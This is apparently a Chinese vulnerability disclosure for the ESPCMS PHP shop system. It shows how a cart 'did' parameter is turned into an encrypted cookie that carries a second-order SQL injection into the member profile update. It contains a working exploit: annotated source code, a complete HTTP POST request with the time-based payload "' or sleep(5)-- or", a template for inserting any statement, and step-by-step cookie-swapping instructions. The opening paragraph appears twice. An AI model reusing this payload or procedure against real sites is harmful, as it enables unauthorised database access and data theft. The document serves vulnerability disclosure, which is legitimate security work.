### 简要描述: RT 听说通用改版了 写的有点乱,要是看不清楚,可以先看后面的注入点的分析,再来看绕过GPC!! ### 详细说明: 在文件 \interface\order.php ``` function in_orderupdae() { $bprice = $this->fun->accept('bprice', 'P'); $didlist = $this->fun->accept('did', 'P'); $amountlist = $this->fun->accept('amount', 'P'); foreach ($didlist as $key => $value) { $arraykeyname = 'k' . $value; $amount = intval($amountlist[$key]); $orderlist[$arraykeyname] = array('did' => $value, 'amount' => $amount); } $orderlist_ser = serialize($orderlist); $this->fun->setcookie('ecisp_order_list', $this->fun->eccode($orderlist_ser, 'ENCODE', db_pscode), 7200); $buylink = $this->get_link('order', array(), admin_LNG); header('location:' . $buylink); } ``` in_orderupdate函数,这个函数是更新,购物车的但是 $didlist = $this->fun->accept('did', 'P'); 没有转换整型,导致我可以传入字符串, 在来这一句 $this->fun->setcookie('ecisp_order_list', $this->fun->eccode($orderlist_ser, 'ENCODE', db_pscode), 7200); 返回的cookie 是来自 $orderlist_ser = serialize($orderlist);...
### 简要描述: RT 听说通用改版了 写的有点乱,要是看不清楚,可以先看后面的注入点的分析,再来看绕过GPC!! ### 详细说明: 在文件 \interface\order.php ``` function in_orderupdae() { $bprice = $this->fun->accept('bprice', 'P'); $didlist = $this->fun->accept('did', 'P'); $amountlist = $this->fun->accept('amount', 'P'); foreach ($didlist as $key => $value) { $arraykeyname = 'k' . $value; $amount = intval($amountlist[$key]); $orderlist[$arraykeyname] = array('did' => $value, 'amount' => $amount); } $orderlist_ser = serialize($orderlist); $this->fun->setcookie('ecisp_order_list', $this->fun->eccode($orderlist_ser, 'ENCODE', db_pscode), 7200); $buylink = $this->get_link('order', array(), admin_LNG); header('location:' . $buylink); } ``` in_orderupdate函数,这个函数是更新,购物车的但是 $didlist = $this->fun->accept('did', 'P'); 没有转换整型,导致我可以传入字符串, 在来这一句 $this->fun->setcookie('ecisp_order_list', $this->fun->eccode($orderlist_ser, 'ENCODE', db_pscode), 7200); 返回的cookie 是来自 $orderlist_ser = serialize($orderlist); 所以这里的利用是,提交控制危险字符,返回已经加密了的危险字符,然后再用加密的危险字符进行cookie注入,后台会解密嘛,这样就不要管他那个加密的KEY是个什么鬼了。。。你懂的~~~~~~~~ 但是 问题来了,因为我传递一个单引号,变成了 \' 导致了在去加密的,解密出来还是 \' 并不能造成注入,图: [<img src="https://images.seebug.org/upload/201512/071656197e48f07035572fb713ba043245e89a03.png" alt="QQ截图20151028102842.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201512/071656197e48f07035572fb713ba043245e89a03.png) [<img src="https://images.seebug.org/upload/201512/07165643d21ed0e760525bef4ca99eb597c0e2e5.png" alt="QQ截图20151028104459.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201512/07165643d21ed0e760525bef4ca99eb597c0e2e5.png) [<img src="https://images.seebug.org/upload/201512/071656558952dabbe5eca71c517c12f51dab6a49.png" alt="QQ截图20151028104522.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201512/071656558952dabbe5eca71c517c12f51dab6a49.png) 上图的语句 明显是传进去了且解密成功了,但 还是解密出来先前转义了的, ~~于是我纠结了~~~~~~~~~~~~~~~~~~~~~~~~~~继续翻翻翻 找啊找啊,继续在 order.php 找到这个函数: ``` function in_list() { parent::start_pagetemplate(); $lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG; $cartid = $this->fun->eccode($this->fun->accept('ecisp_order_list', 'C'), 'DECODE', db_pscode); $cartid = stripslashes(htmlspecialchars_decode($cartid)); $uncartid = !empty($cartid) ? unserialize($cartid) : 0; if ($uncartid && is_array($uncartid)) { $didarray = $this->fun->key_array_name($uncartid, 'did', 'amount', '[0-9]+', '[0-9]+'); $didlist = $this->fun->format_array_text(array_keys($didarray), ','); if (!empty($didlist)) { $db_table = db_prefix . 'document'; $db_where = "isclass=1 AND isorder=1 AND did in($didlist) ORDER BY did DESC"; $sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle, color,author,source,pic,link,oprice,bprice,click,addtime,template,filename,filepath FROM $db_table WHERE $db_where"; $rs = $this->db->query($sql); $productmoney = 0; while ($rsList = $this->db->fetch_assoc($rs)) { $amount = empty($didarray[$rsList['did']]) ? 1 : intval($didarray[$rsList['did']]); $rsList['link'] = $this->get_link('doc', $rsList, admin_LNG); $rsList['buylink'] = $this->get_link('buylink', $rsList, admin_LNG); $rsList['enqlink'] = $this->get_link('enqlink', $rsList, admin_LNG); $rsList['dellink'] = $this->get_link('buydel', $rsList, admin_LNG); $rsList['ctitle'] = empty($rsList['color']) ? $rsList['title'] : "<font color='" . $rsList['color'] . "'>" . $rsList['title'] . "</font>"; $rsList['amount'] = $amount; $countprice = sprintf("%01.2f", $amount * $rsList['bprice']); $rsList['countprice'] = $countprice; $productmoney = $productmoney + $countprice; $array[] = $rsList; } $this->fun->setcookie('ecisp_order_productmoney', $this->fun->eccode($productmoney, 'ENCODE', db_pscode), 7200); } $this->pagetemplate->assign('ordertotal', number_format($productmoney, 2)); $this->pagetemplate->assign('array', $array); $order_integral = empty($this->CON['order_integral']) ? 1 : intval($this->CON['order_integral']); $internum = $productmoney * $order_integral; $this->pagetemplate->assign('internum', intval($internum)); $this->pagetemplate->assign('moneytype', $this->CON['order_moneytype']); } else { $this->pagetemplate->assign('ordervirtue', 'false'); } $this->lng['sitename'] = $this->lng['ordertitle'] . '-' . $this->lng['sitename']; $this->pagetemplate->assign('lngpack', $this->lng); $this->pagetemplate->assign('mlink', $this->mlink); $templatesDIR = $this->get_templatesdir('order'); $this->pagetemplate->assign('path', 'order'); $templatefilename = $lng . '/' . $templatesDIR . '/order_buy_center'; $this->pagetemplate->assign('out', 'buylist'); unset($array, $this->mlink, $LANPACK, $this->lng); $this->pagetemplate->display($templatefilename, 'order_list', false, '', admin_LNG); } ``` ``` $cartid = $this->fun->eccode($this->fun->accept('ecisp_order_list', 'C'), 'DECODE', db_pscode); $cartid = stripslashes(htmlspecialchars_decode($cartid)); ``` ``` $db_table = db_prefix . 'document'; $db_where = "isclass=1 AND isorder=1 AND did in($didlist) ORDER BY did DESC"; $sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle, color,author,source,pic,link,oprice,bprice,click,addtime,template,filename,filepath FROM $db_table WHERE $db_where"; $rs = $this->db->query($sql); ``` 解密ecisp_order_list 后,进行了 stripslashes 简直是天助我也 下面还 $uncartid = !empty($cartid) ? unserialize($cartid) : 0; 反序列化后 进行了查库处理,简直是激动了,但是 我跟进看了下 key_array_name() 瞬间~~~~~~~~~~~看代码: ``` function key_array_name($array = array(), $key = null, $name = null, $keymatch = false, $namematch = false) { if (!is_array($array) || count($array) < 1) return false; $str_array = array(); foreach ($array as $i => $value) { $newkey = $value[$key]; if ($keymatch) { $newkey = (!preg_match("/^$keymatch+$/i", $newkey)) ? 0 : $newkey; } $newname = $value[$name]; if ($namematch) { $newname = (!preg_match("/^$namematch+$/i", $newname)) ? 0 : $newname; } $str_array[$newkey] = $newname; } return $str_array; } ``` 尼玛过滤了字符,擦擦擦擦~~~~~~~~~~~~~~~~~~~~~继续翻翻翻~~~~~~~~~~~~~~~ 最后又看到,order.php in_buy()这个函数: ``` function in_buy() { $did = intval($this->fun->accept('did', 'G', true, true)); if (empty($did)) trigger_error("Parameter error!", E_USER_ERROR); $db_table = db_prefix . 'document'; $db_sql = "SELECT did,tsn,title,oprice,bprice FROM $db_table WHERE isclass=1 AND did=$did AND isorder=1"; $readdid = $this->db->fetch_first($db_sql); if ($readdid) { $cartid = $this->fun->eccode($this->fun->accept('ecisp_order_list', 'C'), 'DECODE', db_pscode); $cartid = stripslashes(htmlspecialchars_decode($cartid)); $arraykeyname = 'k' . $did; if (empty($cartid) || strlen($cartid) < 7) { $orderlist = array($arraykeyname => array('did' => $did, 'amount' => 1)); $orderlist = serialize($orderlist); } else { var_dump($cartid); $orderid = unserialize($cartid); var_dump($orderid); if (is_array($orderid) && array_key_exists($arraykeyname, $orderid)) { $amount = $orderid[$arraykeyname]['amount'] + 1; unset($orderid[$arraykeyname]); $nowcart = array($arraykeyname => array('did' => $did, 'amount' => $amount)); $newcart = array_merge($orderid, $nowcart); $orderlist = serialize($newcart); } elseif (is_array($orderid)) { $nowcart = array($arraykeyname => array('did' => $did, 'amount' => 1)); $newcart = array_merge_recursive($nowcart, $orderid); $orderlist = serialize($newcart); var_dump($orderlist); } else { $nowcart = array($arraykeyname => array('did' => $did, 'amount' => 1)); $orderlist = serialize($newcart); } } $this->fun->setcookie('ecisp_order_list', $this->fun->eccode($orderlist, 'ENCODE', db_pscode), 7200); $buylink = $this->get_link('order', array(), admin_LNG); header('location:' . $buylink); } else { $linkURL = $_SERVER['HTTP_REFERER']; $this->callmessage($this->lng['order_buy_err'], $linkURL, $this->lng['gobackbotton']); } } ``` 解密 ecisp_order_list 后,stripslashes 去掉 \ 然后反序列 在返回加密cookie 简直又看到希望,大晚上的又兴奋了~~~~~~~ 于是测试,发现发序列简直是要了我的命~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~此处又fuck了,~~上图: [<img src="https://images.seebug.org/upload/201512/071706129c333fb1b1cbffba660237850a61301d.png" alt="QQ截图20151028110219.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201512/071706129c333fb1b1cbffba660237850a61301d.png) 打印 反序列 bool(false) 原因是:a:1:{s:5:"k32'";a:2:{s:3:"did";s:4:"32'";s:6:"amount";i:1;}} ~~~~~ s:5:后面只有四位,因为 stripslashes 去掉了 \ ;原来5位的,现在只剩4位了,反序列不出来了~~~~~~~~~~~~~~~~~~~~简直不忍直视~~啊啊啊啊啊啊啊啊啊啊啊 当然不能放弃,要想个什么办法,构造出来,正常的 反序列 格式,经过几天的辛苦 各种尝试测试~~~~~~~~,总算有了结果: 用张图说明一下,传递的did这个值,是32,忽然发现在反序列字符串里面两次调用~~~于是可以完美控制了~~~~~~~这也是这个漏洞的,精华之处 [<img src="https://images.seebug.org/upload/201512/071707234df4ecec184509d574896f5cc4fbc8e0.png" alt="QQ截图20151028112342.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201512/071707234df4ecec184509d574896f5cc4fbc8e0.png) [<img src="https://images.seebug.org/upload/201512/07170800e0a47b3556b4ae55ec007cf6bb2c26b8.png" alt="QQ截图20151028112724.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201512/07170800e0a47b3556b4ae55ec007cf6bb2c26b8.png) [<img src="https://images.seebug.org/upload/201512/071708153d351ff094d73a9df816e4dc679ddb0e.png" alt="QQ截图20151028112954.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201512/071708153d351ff094d73a9df816e4dc679ddb0e.png) 测试完美通过,要在插入语句只需要 在后面加上语句就可以了,did s:字符长度是可以控制的,这也算是绕过新思路吧~~ post提交data: ``` bprice%5B%5D=5000.00&did%5B%5D=32";a:2:{s:3:"did";s:1:"'&amount%5B%5D=1&countprice%5B%5D=5000.00&Submit=%E6%9B%B4%E6%96%B0%E8%B4%AD%E7%89%A9%E8%BD%A6 ``` 构造格式: ``` 构造语句:did%5B%5D=32";a:2:{s:3:"did";s:语句长度:"'语句 ;!!按这种格式修改就可以了 ``` 一定要注意语句长度的s后面是长度,在就是语句长度 到这一步,in_buy()函数 反序列,在把结果加密,返回cookie ,返回的cookie就是带着 exp回来的,然后在提交注入就 ok ~~~~~~~~~~~~~~~~~~~~~来看注入点~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ /interface/membermain.php in_save()函数 ``` function in_save() { parent::start_pagetemplate(); parent::member_purview(); $linkURL = $this->mlink['center']; if (!$this->fun->is_token()) { $this->callmessage($this->lng['repeatinput'], $linkURL, $this->lng['gobackbotton']); } $lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG; $inputclass = $this->fun->accept('inputclass', 'R'); $upurl = $this->fun->accept('upurl', 'R'); $userid = intval($this->ec_member_username_id); $username = $this->fun->accept('username', 'P'); if (!empty($username)) { if (!preg_match("/^[^!@~`\'\"#\$\%\^&\*\(\)\+\-\{\}\[\]\|\\/\?\<\>\,\.\:\;]{2,16}$/i", $username)) { $this->callmessage($this->lng['username_err'], $_SERVER['HTTP_REFERER'], $this->lng['gobackbotton']); } } if (empty($userid) || empty($username)) { $linkURL = $this->mlink['center']; $this->callmessage($this->lng['member_edit_ok'], $linkURL, $this->lng['gobackurlbotton']); } $email = trim($this->fun->accept('email', 'P')); if (!empty($email)) { if (!preg_match("/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/i", $email)) { $this->callmessage($this->lng['email_err'], $_SERVER['HTTP_REFERER'], $this->lng['gobackbotton']); } } $question = trim($this->fun->accept('question', 'P', true, true)); $answer = trim($this->fun->accept('answer', 'P', true, true)); $alias = trim($this->fun->accept('alias', 'P', true, true)); $alias = $this->fun->substr($alias, 20); $sex = $this->fun->accept('sex', 'P'); $sex = empty($sex) ? 0 : 1; $tel = trim($this->fun->accept('tel', 'P', true, true)); $tel = $this->fun->substr($tel, 10); $mobile = trim($this->fun->accept('mobile', 'P', true, true)); $mobile = $this->fun->substr($mobile, 10); $birthday = $this->fun->accept('birthday', 'P'); if (!empty($birthday)) { if (!preg_match("/^[0-9]{4}(\-|\/){0-9}{1,2}(\-|\/){0-9}{1,2}$/i", $birthday)) { $birthday = intval($this->fun->formatdate($birthday, 4)); } } else { $birthday = 0; } $country = intval($this->fun->accept('cityone', 'P')); $country = empty($country) ? 0 : $country; $province = intval($this->fun->accept('citytwo', 'P')); $province = empty($province) ? 0 : $province; $city = intval($this->fun->accept('citythree', 'P')); $city = empty($city) ? 0 : $city; $district = intval($this->fun->accept('district', 'P')); $district = empty($district) ? 0 : $district; $address = trim($this->fun->accept('address', 'P', true, true)); $address = $this->fun->substr($address, 150); $zipcode = trim($this->fun->accept('zipcode', 'P', true, true)); $zipcode = $this->fun->substr($zipcode, 10); $zipcode = empty($zipcode) ? 0 : $zipcode; $msn = trim($this->fun->accept('msn', 'P', true, true)); $qq = intval($this->fun->accept('qq', 'P')); $qq = empty($qq) ? 0 : $qq; $db_table = db_prefix . 'member'; $db_table2 = db_prefix . 'member_value'; $date = time(); $linkURL = $_SERVER['HTTP_REFERER']; if ($inputclass == 'editinfo') { $mvid = intval($this->fun->accept('mvid', 'P')); $modelatt = $this->get_memberatt_array($lng); if (is_array($modelatt)) { $modelarray = array(); foreach ($modelatt as $key => $value) { if ($value['inputtype'] == 'htmltext') { $value['accept'] = 'html'; } elseif ($value['inputtype'] == 'checkbox') { $value['accept'] = 'checkbox'; } elseif ($value['inputtype'] == 'string' || $value['inputtype'] == 'img' || $value['inputtype'] == 'addon' || $value['inputtype'] == 'video' || $value['inputtype'] == 'select' || $value['inputtype'] == 'radio' || $value['inputtype'] == 'selectinput') { $value['accept'] = 'text'; } elseif ($value['inputtype'] == 'editor' || $value['inputtype'] == 'text') { $value['accept'] = 'editor'; } elseif ($value['inputtype'] == 'int') { $value['accept'] = 'int'; } elseif ($value['inputtype'] == 'float' || $value['inputtype'] == 'decimal') { $value['accept'] = 'float'; } elseif ($value['inputtype'] == 'datetime') { $value['accept'] = 'data'; } $modelarray[] = $value; } $userinstall = null; $userinstalldb = null; foreach ($modelarray as $key => $value) { $userinstall.=$value['attrname'] . ','; if ($value['accept'] == 'int') { $valuestr = intval($this->fun->accept($value['attrname'], 'P')); $valuestr = empty($valuestr) ? 0 : $valuestr; $userinstalldb.="$valuestr,"; $userupdatedb.=$value['attrname'] . "=$valuestr,"; } elseif ($value['accept'] == 'float') { $valuestr = floatval($this->fun->accept($value['attrname'], 'P')); $valuestr = empty($valuestr) ? 0 : $valuestr; $userinstalldb.="$valuestr,"; $userupdatedb.=$value['attrname'] . "=$valuestr,"; } elseif ($value['accept'] == 'html') { $valuestr = $this->fun->accept($value['attrname'], 'P'); $valuestr = empty($valuestr) ? '' : $this->fun->Text2Html($valuestr); $userinstalldb.="'$valuestr',"; $userupdatedb.=$value['attrname'] . "='$valuestr',"; } elseif ($value['accept'] == 'editor') { $valuestr = $this->fun->accept($value['attrname'], 'P', true, true); $valuestr = $this->fun->substr($valuestr, 1000); $userinstalldb.="'$valuestr',"; $userupdatedb.=$value['attrname'] . "='$valuestr',"; } elseif ($value['accept'] == 'text') { $valuestr = $this->fun->accept($value['attrname'], 'P', true, true); $valuestr = $this->fun->substr($valuestr, 150); $userinstalldb.="'$valuestr',"; $userupdatedb.=$value['attrname'] . "='$valuestr',"; } elseif ($value['accept'] == 'data') { $valuestr = $this->fun->accept($value['attrname'], 'P', true, true); $valuestr = empty($valuestr) ? 0 : strtotime($valuestr); $valuestr = intval($valuestr); $userinstalldb.="$valuestr,"; $userupdatedb.=$value['attrname'] . "=$valuestr,"; } elseif ($value['accept'] == 'checkbox') { $valuestr = $this->fun->accept($value['attrname'], 'P', true, true); $valuestr = is_array($valuestr) ? implode(',', $valuestr) : ''; $userinstalldb.="'$valuestr',"; $userupdatedb.=$value['attrname'] . "='$valuestr',"; } } } $db_where = "userid=$this->ec_member_username_id AND username='$this->ec_member_username' "; //var_dump($db_where); $db_set = "sex=$sex,birthday=$birthday,country=$country,province=$province,city=$city,district=$district,alias='$alias', address='$address',zipcode='$zipcode',tel='$tel',qq=$qq,msn='$msn'"; $this->db->query('UPDATE ' . $db_table . ' SET ' . $db_set . ' WHERE ' . $db_where); if ($userinstalldb) { if ($mvid) { $db_where = 'userid=' . $this->ec_member_username_id . ' AND mvid=' . $mvid; $db_values = substr($userupdatedb, 0, strlen($userupdatedb) - 1); $this->db->query('UPDATE ' . $db_table2 . ' SET ' . $db_values . ' WHERE ' . $db_where); } else { $db_field = $userinstall . 'userid'; $db_values = $userinstalldb . $userid; $this->db->query('INSERT INTO ' . $db_table2 . ' (' . $db_field . ') VALUES (' . $db_values . ')'); } } $linkURL = $this->mlink['center']; $this->callmessage($this->lng['member_edit_ok'], $linkURL, $this->lng['gobackurlbotton']); } if ($inputclass == 'editpassword') { if ($this->CON['mem_isucenter']) { include_once admin_ROOT . 'public/uc_client/client.php'; } $oldpassword = md5($this->fun->accept('oldpassword', 'P')); $password = md5($this->fun->accept('password', 'P')); $password_uc = $this->fun->accept('password', 'P'); $oldpassword_uc = $this->fun->accept('oldpassword', 'P'); $db_where = "userid=$this->ec_member_username_id AND username='$this->ec_member_username' AND password='$oldpassword'"; $db_sql = "SELECT * FROM $db_table WHERE $db_where"; $rsMember = $this->db->fetch_first($db_sql); if (!$rsMember) { $linkURL = $this->mlink['memedit_password']; $this->callmessage($this->lng['password_input_err'], $linkURL, $this->lng['gobackbotton']); } else { $db_set = "password='$password'"; $this->db->query('UPDATE ' . $db_table . ' SET ' . $db_set . ' WHERE ' . $db_where); if ($this->CON['mem_isucenter']) { $data = uc_get_user($username); if ($data) { list($uid2, $username2, $email2) = $data; uc_user_edit($username, $oldpassword_uc, $password_uc, $email2); } } if ($this->CON['is_moblie'] && $rsMember['ismoblie']) { $rsMember = $this->get_member('', $this->ec_member_username_id); $rsMember['newpassword'] = $password_uc; $this->membersmssend($rsMember, $rsMember['mobile'], 'memberedit'); } $linkURL = $this->mlink['quit']; $this->callmessage($this->lng['password_ok'], $linkURL, $this->lng['out_botton']); } } if ($inputclass == 'editmail') { if ($this->CON['mem_isucenter']) { include_once admin_ROOT . 'public/uc_client/client.php'; } $linkURL = $this->mlink['memedit_email']; if (!preg_match("/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/i", $email)) { $this->callmessage($this->lng['email_err'], $linkURL, $this->lng['gobackbotton']); } $password = md5($this->fun->accept('password', 'P')); $password_uc = $this->fun->accept('password', 'P'); $db_where = "userid=$this->ec_member_username_id AND username='$this->ec_member_username' AND password='$password'"; $db_sql = "SELECT * FROM $db_table WHERE $db_where"; $rsMember = $this->db->fetch_first($db_sql); if (!$rsMember) { $this->callmessage($this->lng['password_input_err'], $linkURL, $this->lng['gobackbotton']); } else { $db_set = "email='$email'"; $this->db->query('UPDATE ' . $db_table . ' SET ' . $db_set . ' WHERE ' . $db_where); if ($this->CON['mem_isucenter']) { $data = uc_get_user($username); if ($data) { list($uid2, $username2, $email2) = $data; uc_user_edit($username, $password_uc, $password_uc, $email); } } $linkURL = $this->mlink['center']; $this->callmessage($this->lng['email_edit_ok'], $linkURL, $this->lng['gobackurlbotton']); } } } ``` 这一句 parent::member_purview(); 函数刚开始 就使用parent调用了父类的member_purview() 函数 之后看这句 $db_where = "userid=$this->ec_member_username_id AND username='$this->ec_member_username' ";又继承拿了 member_purview() 函数中的 ec_member_username变量然后就这样赤裸裸得入库了 跟进看一下member_purview() 函数 ``` function member_purview($userrank = false, $url = null, $upurl = false) { $this->ec_member_username = $this->fun->eccode($this->fun->accept('ecisp_member_username', 'C'), 'DECODE', db_pscode); $user_info = explode('|', $this->fun->eccode($this->fun->accept('ecisp_member_info', 'C'), 'DECODE', db_pscode)); list($ec_member_username_id, $this->ec_member_alias, $ec_member_integral, $ec_member_mcid, $this->ec_member_email, $this->ec_member_lastip, $this->ec_member_ipadd, $this->ec_member_useragent, $this->ec_member_adminclassurl) = $user_info; $this->ec_member_username_id = intval($ec_member_username_id); $this->ec_member_integral = intval($ec_member_integral); $this->ec_member_mcid = intval($ec_member_mcid); if (empty($this->ec_member_username) && empty($this->ec_member_username_id) && md5(admin_AGENT) != $this->ec_member_useragent && md5(admin_ClassURL) != $this->ec_member_adminclassurl) { $this->condition = 0; if ($url) { $this->fun->setcookie('ecisp_login_link', $url, 3600); } elseif ($upurl) { $nowurl = 'http://' . $_SERVER["HTTP_HOST"] . $this->fun->request_url(); $this->fun->setcookie('ecisp_login_link', $nowurl, 3600); } $linkURL = $this->get_link('memberlogin', array(), admin_LNG); $mlink = $this->memberlink(array(), admin_LNG); $this->callmessage($this->lng['memberloginerr'], $linkURL, $this->lng['memberlogin'], 1, $this->lng['member_regbotton'], 1, $mlink['reg']); } else { $this->condition = 1; if ($this->ec_member_mcid < $userrank && $userrank) { $linkURL = $this->get_link('memberlogin', array(), admin_LNG); $this->callmessage($this->lng['memberpuverr'], $linkURL, $this->lng['gobackurlbotton']); } } return $this->condition; } ``` $this->ec_member_username 来自 cookie 字段 ecisp_member_username 且用了 eccode 函数解密 只要 构造一个 带有注入的 加密ecisp_member_username 就可以 达到注入了 而这个 ecisp_member_username 的值就是 刚刚上面分析返回给的值,这样达到三次注入!!!!!!!! ### 漏洞证明: 在更新购物车修改,did参数:看POST data数据! ``` POST /espcms10/index.php?ac=order&at=orderupdae HTTP/1.1 Host: **.**.**.** User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.5 Accept-Encoding: gzip, deflate Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7 Proxy-Connection: keep-alive Referer: http://**.**.**.**/espcms10/index.php?ac=order&at=list Cookie: bdshare_firstime=1445586083691; 9299294b2040e387033543351c503085=fa15a2a66b26a74567da8dfe1260923b58af5648a%3A4%3A%7Bi%3A0%3Bs%3A2%3A%2239%22%3Bi%3A1%3Bs%3A15%3A%22admin%**.**.**.**%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A1%3A%7Bs%3A11%3A%22displayName%22%3Bs%3A5%3A%22admin%22%3B%7D%7D; CNZZDATA1702264=cnzz_eid%3D479960820-1445841637-%26ntime%3D1445841637; CNZZDATA1254932726=1745248219-1445842596-http%253A%252F%252F**.**.**.**%252F%7C1445914366; PHPSESSID=edkvqi8smtiuveqqdqim5h1096; TS4_TSV3_LOGGED_USER=zMR4bi5IPuYTdC7b8W5XoaOz3Tg5p5SD; cookiecheckrld9d52c339d394be65987ecb4c3d490aa=1445925232; TestCookie=my+cookie+value; ecisp_home_seccode=U841tciq0K9mhckaMj0wDJQV92ODMLezitD5%2FZ%2F%2FLik%3D; ecisp_member_username=Wf29OBR28gMxk%2B9tFMFGm6sH%2FN0B8HG3ouaBqQgtQ6E%3D; ecisp_member_info=9zso0LECSpTYFxSewn5olv0etWCzt1NOYsc4NEXTVdvSmj5AL84Fjf7xobhojF3DSQ4C2jh2gVotKbqQygBhxPsydhacPtjl78ItBKAz%2BadGmuxoJBEGudVEzU5SfvYHDi1k6o%2FE7rAyS13sa1G2ila5h7fV%2BMoqOYbgZ0AQiz4%3D; ecisp_order_list=h1KbkJsyiVqP3PAaOR30o82Tnmv2t17%2FDyhGG3KjIboe%2F8TFYaW14R16ZdyVYybfYcOjn7R9a%2Fa28IkYFUrlnA%3D%3D; ecisp_order_productmoney=oiX7A98eXZadqGLmCIfNUJaJGYhlMLHjfktVgkTN0o8%3D Content-Type: application/x-www-form-urlencoded Content-Length: 167 bprice%5B%5D=5000.00&did%5B%5D=32";a:2:{s:3:"did";s:18:"' or sleep(5)-- or&amount%5B%5D=1&countprice%5B%5D=5000.00&Submit=%E6%9B%B4%E6%96%B0%E8%B4%AD%E7%89%A9%E8%BD%A6 ``` s:18是后面注入语句的长度,前面不变,不然反序列失败 ``` did%5B%5D=32";a:2:{s:3:"did";s:18:"' or sleep(5)-- or ``` 就是说如果你要注入aa ``` did%5B%5D=32";a:2:{s:3:"did";s:2:"aa ``` 就是说如果你要注入aabb ``` did%5B%5D=32";a:2:{s:3:"did";s:4:"aabb ``` 一次类推 .......... 返回的cookie记录下图: [<img src="https://images.seebug.org/upload/201512/0717233753c1784b3355a6b6998ef7b7c179c33b.png" alt="QQ截图20151028141413.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201512/0717233753c1784b3355a6b6998ef7b7c179c33b.png) 然后在返回的COOKIE 再添加购物车的数据包 地方替换掉cookie 下图: [<img src="https://images.seebug.org/upload/201512/07172424bad4ed1426c42922f37f91a3b4d905b7.png" alt="QQ截图20151028141631.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201512/07172424bad4ed1426c42922f37f91a3b4d905b7.png) 在拿到返回的cookie 就是带有攻击语句且加密了的 字符串了~~~~~~~~~~~~~ 然后在提交资料修改处替换掉 ecisp_member_username 值:下图 [<img src="https://images.seebug.org/upload/201512/07172510d130ac6c186695404903318103ed841a.png" alt="QQ截图20151028142118.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201512/07172510d130ac6c186695404903318103ed841a.png) 后端抓取SQL语句: [<img src="https://images.seebug.org/upload/201512/07172544e080899946b744755d4884eb6be68f4c.png" alt="QQ截图20151028142322.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201512/07172544e080899946b744755d4884eb6be68f4c.png) [<img src="https://images.seebug.org/upload/201512/07172556906c1e3adaae069148dbffbbe453fdb7.png" alt="QQ截图20151028142343.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201512/07172556906c1e3adaae069148dbffbbe453fdb7.png) DEMO截图,注入成功的,我本地打印了结果 [<img src="https://images.seebug.org/upload/201512/071730230c813b2c2433c9f818051e23541fdb85.png" alt="QQ截图20151028114424.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201512/071730230c813b2c2433c9f818051e23541fdb85.png)